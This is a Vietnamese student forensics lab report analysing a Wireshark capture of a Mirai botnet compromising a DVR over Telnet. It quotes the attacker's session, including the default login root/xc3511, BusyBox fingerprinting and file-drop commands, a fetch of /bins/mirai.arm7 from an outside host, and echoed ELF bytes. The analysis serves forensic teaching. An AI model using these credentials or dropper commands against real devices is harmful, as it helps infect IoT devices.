



BÁO CÁO THỰC HÀNH LAB 5

Môn học: Pháp chứng kỹ thuật số

Nhóm: Pha Pha

THÀNH VIÊN THỰC HIỆN:

STT	Họ và tên	MSSV
1	Nguyễn Đoàn Xuân Bình	19521265
2	Trần Hoàng Khang	19521671
3	Nguyễn Mỹ Quỳnh	19520241

BÁO CÁO CHI TIẾT

***Note:** Lab này không yêu cầu báo cáo chi tiết, bản báo cáo này giúp mình quay video phân tích dễ dàng hơn và để sau này xem lại.

Link video: <https://youtu.be/vfTxS6nk5rA>

Yêu cầu:

1. Tóm tắt cơ bản:

- Xác định địa chỉ IP của các máy chủ đã giao tiếp với nhau. Rất ngắn gọn, thảo luận về bất kỳ hiểu biết cơ bản nào thu được từ thông tin này.

Vào *Statistic* → *Endpoints* → *IPv4* (IPv6 không có)

Ethernet · 2	IPv4 · 6	IPv6	TCP · 64	UDP · 294							
Address	Packets	Bytes	Tx Packets	Tx Bytes	Rx Packets	Rx Bytes	Country	City	AS Number	AS Organization	
8.8.8.8	294	26 k	0	0	294	26 k	—	—	—	—	
10.128.0.231	1,760	481 k	1,129	353 k	631	128 k	—	—	—	—	
65.222.202.53	912	63 k	380	31 k	532	32 k	—	—	—	—	
77.247.181.210	423	308 k	169	18 k	254	290 k	—	—	—	—	
77.247.181.219	79	78 k	54	76 k	25	1533	—	—	—	—	
95.190.209.27	52	3730	28	1619	24	2111	—	—	—	—	

IP 8.8.8.8 là IP của *DNS Server của Google*.

IP 10.128.0.231 là IP Private và có tổng số lượng gửi packet và tổng số lượng byte gửi đi nhiều nhất

65.222.202.53 và 77.247.181.210 là 2 Public IP có số lượng packet gửi nhiều; IP 77.247.181.219 gửi đã gửi một số lượng bytes nội dung cũng khá đáng kể.

- Xác định tất cả các giao thức trong chụp cao hơn OSI lớp 4. Đối với mỗi giao thức đã xác định, nêu tỷ lệ phần trăm byte trong bản chụp thuộc giao thức đó.

Protocol	Percent Packets	Packets	Percent Bytes	Bytes	Bits/s	End Packets	End Bytes	End Bits/s
▼ Frame	100.0	1760	100.0	481213	2125	0	0	0
▼ Ethernet	100.0	1760	5.1	24640	108	0	0	0
▼ Internet Protocol Version 4	100.0	1760	7.3	35200	155	0	0	0
▼ User Datagram Protocol	16.7	294	0.5	2352	10	0	0	0
Domain Name System	16.7	294	2.9	13818	61	294	13818	61
▼ Transmission Control Protocol	83.3	1466	83.7	402755	1779	1117	98640	435
▼ Telnet	17.9	315	59.6	286839	1267	307	275159	1215
Malformed Packet	0.5	8	0.0	0	0	8	0	0
▼ Hypertext Transfer Protocol	1.9	34	2.1	10296	45	1	33	0
Line-based text data	1.9	33	1.1	5478	24	33	5478	24

Các giao thức hoạt động ở tầng (layer) trên 4 là:

Dùng UDP:

- DNS

Dùng TCP:

- Telnet
- Hypertext Transfer Protocol (HTTP)

Protocol	Percent bytes (%)
DNS	2.9
Telnet	59.6
Hypertext Transfer Protocol (HTTP)	2.1

2. Phân tích trong Wireshark:

- Giải thích bằng lời về những gì bạn nghĩ đã xảy ra trong mạng. Xác định tên của phần mềm độc hại nếu bạn có thể. Xem xét dòng thời gian của các cuộc liên lạc đã diễn ra, được hỗ trợ bởi các bằng chứng được hiển thị trong Wireshark.

Phần trăm Byte (Percent Byte) của giao thức Telnet được gửi đi khá lớn, mà ta biết Telnet là một giao thức không an toàn vì không có mã hóa trong truyền-nhận. Ta xem xét các gói tin Telnet → Follow stream của gói tin đầu.

Ta thấy có một phiên đăng nhập vào BusyBox (Từ IP 77.247.181.210 đến 10.128.0.231):

```
.....
dvrdrv login: .....P.....root
root
Password: xc3511

BusyBox v1.16.1 (2014-03-04 16:00:18 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

can not change to guest!
.[32m[root.[0m@.[31mdvrdrv.[0m .[32m/].[35m# .[0menable.enable

-sh: enable: not found
.[32m[root.[0m@.[31mdvrdrv.[0m .[32m/].[35m# .[0msystem.system

-sh: system: not found
.[32m[root.[0m@.[31mdvrdrv.[0m .[32m/].[35m# .[0mshell.shell

-sh: shell: not found
.[32m[root.[0m@.[31mdvrdrv.[0m .[32m/].[35m# .[0msh.sh

BusyBox v1.16.1 (2014-03-04 16:00:18 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

.[32m[root.[0m@.[31mdvrdrv.[0m .[32m/].[35m# .[0m/bin/busybox MIRAI./bin/busybox MIRAI

MIRAI: applet not found
.[32m[root.[0m@.[31mdvrdrv.[0m .[32m/].[35m# .[0m
```

IP Attacker: 95.190.209.27

IP Victim: 10.128.0.231

Xem sơ qua lỗ hổng thì tên malware là MIRAI (Có liên quan trong hình ảnh trên). Và đây là tấn công botnet. Về lỗ hổng này, các bước được thực hiện như sau:

Đầu tiên, bắt tay 3 bước (3-way handshake được thực hiện) trong 3 gói tin đầu tiên. Sau đó thực hiện “telnet” đến máy victim:

No.	Time	Source	Destination	Protocol	Length	Info
52	5.124466	77.247.181.210	10.128.0.231	TCP	74	59805 → 23 [SYN] Seq=0 Win=29200 Len=0 MSS=1460 SACK_PERM=1 TSval=58333885 TSecr=0 WS=128
53	5.125357	10.128.0.231	77.247.181.210	TCP	66	23 → 59805 [SYN, ACK] Seq=0 Ack=1 Win=14600 Len=0 MSS=1460 SACK_PERM=1 WS=2
55	5.261375	77.247.181.210	10.128.0.231	TCP	54	59805 → 23 [ACK] Seq=1 Ack=1 Win=29312 Len=0
56	5.261856	10.128.0.231	77.247.181.210	TELNET	66	Telnet Data ...
57	5.394605	77.247.181.210	10.128.0.231	TCP	54	59805 → 23 [ACK] Seq=1 Ack=13 Win=29312 Len=0
58	5.394641	77.247.181.210	10.128.0.231	TELNET	57	Telnet Data ...
59	5.395865	10.128.0.231	77.247.181.210	TELNET	71	Telnet Data ...
60	5.395187	10.128.0.231	77.247.181.210	TCP	60	23 → 59805 [ACK] Seq=30 Ack=4 Win=14600 Len=0

Một phiên đăng nhập quyền admin vào thiết bị DVR (với user: **root** và password: **xc3511** <default>) và thực hiện một số câu lệnh khả thi với **router** hay **honeypot thông dụng** với ý đồ kiểm tra thử đảm bảo không kết nối với những thiết bị này

Nguồn tham khảo (keyword: ECCHI) : [The Short Life of a Vulnerable DVR Connected to the Internet - SANS Internet Storm Center](#)

```
BusyBox v1.16.1 (2014-03-04 16:00:18 CST) built-in shell (ash)

Enter 'help' for a list of built-in commands.

can not change to guest!

[root@dvr dvs /] # enable
-sh: enable: not found
[root@dvr dvs /] # shell
-sh: shell: not found
[root@dvr dvs /] # sh /bin/busybox ECCHI

BusyBox v1.16.1 (2014-03-04 16:00:18 CST) built-in shell (ash)

Enter 'help' for a list of built-in commands.

ECCHI: applet not found
```

Ảnh được trích xuất từ [nguồn trên](#)

Việc sử dụng lệnh **"busybox ECCHI"** có hai chức năng. Trước hết, các distribution của Linux "đầy đủ" và "hoàn chỉnh" thường thấy trên thiết bị DVR sẽ phản hồi bằng **"Help Screen"** (như ảnh trên) nếu sử dụng sai mô-đun. Vì vậy, theo cách này, một chuỗi bất kỳ (những lệnh không khả thi) như **"ECCHI"** có thể được sử dụng để phát hiện *honeypots* và các hệ thống không liên quan nếu phản hồi từ thiết bị khác **"ECCHI: applet not found"** (không có lệnh tương thích trong các Busybox).

Thứ hai, lệnh này được sử dụng để đảm bảo chỉ ra rằng lệnh trước đó đã kết thúc (thông báo lỗi xuất hiện). Sau đó, kẻ tấn công thêm **"bin/busybox ECCHI"** vào cuối mỗi dòng, sau lệnh thực được thực thi (với lý do tương tự).

Kỹ thuật này không phải là mới và chúng ta đã thấy nó trong các mối đe dọa ở các thiết bị DVR và IoT trước đây. Các chuỗi khác cũng được sử dụng, đặc biệt là chuỗi **"MIRAI"**. Xem phân tích bởi phần mềm độc hại phải chết để biết thêm chi tiết về mạng này và các mạng botnet tương tự khác.

**Note: "ecchi" thường dùng để chỉ phim hoạt hình anime có nội dung người lớn. "mirai" là từ tiếng Nhật để chỉ tương lai. Vì vậy, chúng ta có thể đang đối đầu với một số "quý búp" ở đây.*

Vì lý do nào đó mà attacker phải chuyển sang tấn công IP khác → Tấn công không thành công? Xem stream tiếp theo.

IP Attacker: 77.247.181.210

IP Victim: 10.128.0.231

- ✓ Ta thấy được diễn biến những gì xảy ra trong mạng. Attacker thực hiện một số thao tác cơ bản để xác định một số **fingerprinting** của thiết bị:
- Attacker thực hiện xem các tiến trình hiện tại.

```

.[32m[root.[0m@.[31mdvrvds.[0m .[32m/] .[35m# .[0m/bin/busybox ps; /bin/busybox ECCHI
/bin/busybox ps; /bin/busybox ECCHI
PID USER      VSZ STAT COMMAND
  1 root        1160 S    init
  2 root         0 SW    [kthreadd]
  3 root         0 SW    [ksoftirqd/0]
  4 root         0 SW    [kworker/0:0]
  5 root         0 SW    [kworker/u:0]
  6 root         0 SW    [rcu_kthread]
  7 root         0 SW<   [khelper]
  8 root         0 SW    [kworker/u:1]
139 root         0 SW    [sync_supers]
141 root         0 SW    [bdi-default]
143 root         0 SW<   [kblockd]
159 root         0 SW    [khubd]
259 root         0 SW    [kswapd0]
314 root         0 SW<   [crypto]
390 root         0 SW<   [iscsi_eh]
403 root         0 SW    [scsi_eh_0]
406 root         0 SW    [scsi_eh_1]
409 root         0 SW    [kworker/u:2]
410 root         0 SW    [kworker/u:3]
420 root         0 SW    [mtdblock0]
425 root         0 SW    [mtdblock1]
481 root         0 SW    [kworker/0:1]
482 root         0 SW    [kworker/0:2]
486 root         0 SW    [kworker/u:4]
502 root        872 S <    /sbin/udev -d
506 root         0 SWN    [jffs2_gcd_mtd1]
530 root         0 SW    [flush-1:0]
756 root        607m S    ./hicore
758 root        1164 S    -/bin/sh
759 guest        1168 S    sh
760 root        1160 S    /usr/sbin/telnetd
770 root         0 SW    [VideoDec]
934 root         0 SW    [flush-8:0]
940 root         0 SW    [flush-mtd-unmap]
1012 root        1168 S    -sh
1042 root        1168 S    sh
1044 root        1160 R    /bin/busybox ps
ECCHI: applet not found

```

- Attacker xem phân vùng được mounted của Filesystem bằng cách đọc file */proc/mounts*:

```

.[32m[root.[0m@.[31mdvrvds.[0m .[32m/] .[35m# .[0m/bin/busybox cat /proc/mounts; /bin/
busybox ECCHI
/bin/busybox cat /proc/mounts; /bin/busybox ECCHI
rootfs / rootfs rw 0 0
/dev/root / ext2 rw,relatime,errors=continue 0 0
proc /proc proc rw,relatime 0 0
sysfs /sys sysfs rw,relatime 0 0
udev /dev tmpfs rw,relatime 0 0
devpts /dev/pts devpts rw,relatime,mode=600,ptmxmode=000 0 0
/dev/mtdblock1 /home/hik jffs2 rw,relatime 0 0
tmpfs /home/app tmpfs rw,relatime 0 0
ECCHI: applet not found

```

Tiếp theo, kẻ tấn công kiểm tra xem *binary file* có thể được tạo bằng lệnh "echo" hay không, tạo nhanh một file mẫu:

```

/bin/busybox echo -e '\x6b\x61\x6d\x69' > /.nippon; /bin/busybox cat /.nippon;
/bin/busybox rm /.nippon

```

Thao tác này sẽ gửi chuỗi "**kami**" đến tệp */.nippon*. Test này sau đó được lặp lại trên tất cả các phân vùng partition được tìm thấy trong "mount" ở trên.

```
[32m[root.[0m@.[31mdvrdvs.[0m .[32m/] .[35m# .[0m/bin/busybox echo -e
'\x6b\x61\x6d\x69' > /.nippon; /bin/busybox cat /.nippon; /bin/busybox rm /.nippon
/bin/busybox echo -e '\x6b\x61\x6d\x69' > /.nippon; /bin/busyb
ox cat /.nippon; /bin/busybox rm /.nippon
/bin/busybox echo -e '\x6b\x61\x6d\x69' > /.nippon; /bin/busybox cat /.nippon; /bin/
busybox rm /.nippon
/bin/busybox echo -e '\x6b\x61\x6d\x69/proc' > /proc/.nippon; /bin/busybox cat /
proc/.nippon; /bin/busybox rm /proc/.nippon
/bin/busybox echo -e '\x6b\x61\x6d\x69/sys' > /sys/.nippon; /bin/busybox cat /
sys/.nippon; /bin/busybox rm /sys/.nippon
/bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon; /bin/busybox cat /
dev/.nippon; /bin/busybox rm /dev/.nippon
/bin/busybox echo -e '\x6b\x61\x6d\x69/dev/pts' > /dev/pts/.nippon; /bin/busybox cat /
dev/pts/.nippon; /bin/busybox rm /dev/pts/.nippon
/bin/busybox echo -e '\x6b\x61\x6d\x69/home/hik' > /home/hik/.nippon; /bin/busybox cat
/home/hik/.nippon; /bin/busybox rm /home/hik/.nippon
/bin/busybox echo -e '\x6b\x61\x6d\x69/home/app' > /home/app/.nippon; /bin/busybox cat
/home/app/.nippon; /bin/busybox rm /home/app/.nippon
/bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon; /bin/busybox cat /
dev/.nippon; /bin/busybox rm /dev/.nippon
/bin/busybox ECCHI
```

Sau đó attacker xóa file **.nippon** và cũng xóa một số file tương tự khác.

```
[32m[root.[0m@.[31mdvrdvs.[0m .[32m/] .[35m# .[0mrm /.t; rm /.sh; rm /.human
rm /.t; rm /.sh; rm /.human
rm /dev/.t; rm /dev/.sh; rm /dev/.human
rm /home/hik/.t; rm /home/hik/.sh; rm /home/hik/.human
rm /home/app/.t; rm /home/app/.sh; rm /home/app/.human
rm /dev/.t; rm /dev/.sh; rm /dev/.human
cd /
/bin/busybox cp /bin/echo dvrHelper; >dvrHelper; /bin/busybox chmod 777 dvrHelper; /
bin/busybox ECCHI
```

Đồng thời copy lệnh echo vào file dvrHelper và cài đặt toàn quyền (777) cho file.

- Attacker check thông tin hệ thống

```
[32m[root.[0m@.[31mdvrdvs.[0m .[32m/] .[35m# .[0mcat /proc/cpuinfo; /bin/busybox ECCHI
cat /proc/cpuinfo; /bin/busybox ECCHI
Processor       : ARMv7 Processor rev 0 (v7l)
BogoMIPS        : 1849.75
Features        : swp half fastmult edsp
CPU implementer : 0x41
CPU architecture: 7
CPU variant     : 0x3
CPU part        : 0xc09
CPU revision    : 0

Hardware       : godarm
Revision      : 0000
Serial        : 0000000000000000
ECCHI: applet not found
```

- Attacker cũng kiểm tra xem tftp và wget có khả dụng hay không.

```
[32m[root.[0m@.[31mdvrdvs.[0m .[32m/] .[35m# .[0m/bin/busybox wget; /bin/busybox tftp;
/bin/busybox ECCHI
/bin/busybox wget; /bin/busybox tftp; /bin/busybox ECCHI
wget: applet not found
BusyBox v1.16.1 (2014-03-04 16:00:18 CST) multi-call binary.

Usage: tftp [OPTIONS] HOST [PORT]

Transfer a file from/to tftp server

Options:
-l FILE Local FILE
-r FILE Remote FILE
-g      Get file
-p      Put file
-b SIZE Transfer blocks of SIZE octets

ECCHI: applet not found
```

Trên hệ thống, chỉ có tftp.

- Attacker đã cố gắng sử dụng nó để tải xuống một công cụ có tên "dvrHelper"

- | No. | Time | Source | Destination | Protocol | Length | Info |
|------|-------------|---------------|----------------|----------|--------|--------------------------------------|
| 471 | 28.307295 | 10.128.0.231 | 77.247.181.219 | HTTP | | 87 GET /bins/mirai.arm7 HTTP/1.0 |
| 1735 | 1794.638147 | 65.222.202.53 | 10.128.0.231 | HTTP | 365 | HTTP/1.1 400 Bad Request (text/html) |
| 1704 | 1768.427077 | 65.222.202.53 | 10.128.0.231 | HTTP | 365 | HTTP/1.1 400 Bad Request (text/html) |
| 1672 | 1742.236681 | 65.222.202.53 | 10.128.0.231 | HTTP | 365 | HTTP/1.1 400 Bad Request (text/html) |
| 1641 | 1716.009543 | 65.222.202.53 | 10.128.0.231 | HTTP | 365 | HTTP/1.1 400 Bad Request (text/html) |
| 1610 | 1689.824910 | 65.222.202.53 | 10.128.0.231 | HTTP | 365 | HTTP/1.1 400 Bad Request (text/html) |
| 1578 | 1663.635267 | 65.222.202.53 | 10.128.0.231 | HTTP | 365 | HTTP/1.1 400 Bad Request (text/html) |
| 1547 | 1637.438995 | 65.222.202.53 | 10.128.0.231 | HTTP | 365 | HTTP/1.1 400 Bad Request (text/html) |
| 1515 | 1611.228242 | 65.222.202.53 | 10.128.0.231 | HTTP | 365 | HTTP/1.1 400 Bad Request (text/html) |

- IOC tồn tại trong giao thức

No.	Time	Source	Destination	Protocol	Length	Info
39	3.426253	10.128.0.231	95.190.209.27	TELNET	60	Telnet Data ...
41	3.687215	10.128.0.231	95.190.209.27	TELNET	221	Telnet Data ...
43	3.907648	95.190.209.27	10.128.0.231	TELNET	73	Telnet Data ...
44	3.908316	10.128.0.231	95.190.209.27	TELNET	72	Telnet Data ...
45	4.126480	95.190.209.27	10.128.0.231	TELNET	56	Telnet Data ...
46	4.128092	10.128.0.231	95.190.209.27	TELNET	60	Telnet Data ...
48	4.389232	10.128.0.231	95.190.209.27	TELNET	129	Telnet Data ...
56	5.261856	10.128.0.231	77.247.181.210	TELNET	66	Telnet Data ...
58	5.394641	77.247.181.210	10.128.0.231	TELNET	57	Telnet Data ...

```
.....  
dvrdrv login: .....P.....root  
root  
Password: xc3511
```

```
[.32m[root.[0m@.[31mdrvdvs.[0m .[32m/] .[35m# .[0mecho -ne  
'\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x83\x00\x00\x34\x00\x00\x00'  
\x90\x05\x00\x00\x02\x00\x00\x04\x34\x00\x00\x00\x03\x00\x28\x00\x06\x00\x05\x00\x01\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00  
\x80\x00\x00\x00\x40\x05\x00\x00\x40\x05\x00\x00\x05\x00\x00\x00\x00\x80\x00\x00\x01\x00\x00\x00\x40\x05\x00\x00\x40\x05\x01\x00\x40\  
\x05\x01\x00\x0c\x00\x00\x00\x0c\x00\x00\x00\x06\x00\x00\x00\x00\x80\x00\x00\x51\xe5\x74\x64\x00\x00\x00\x00\x00\x00\x00' >  
  
upnp:/bin/busybox ECCHI
```

Khoa Máy tính và Truyền thông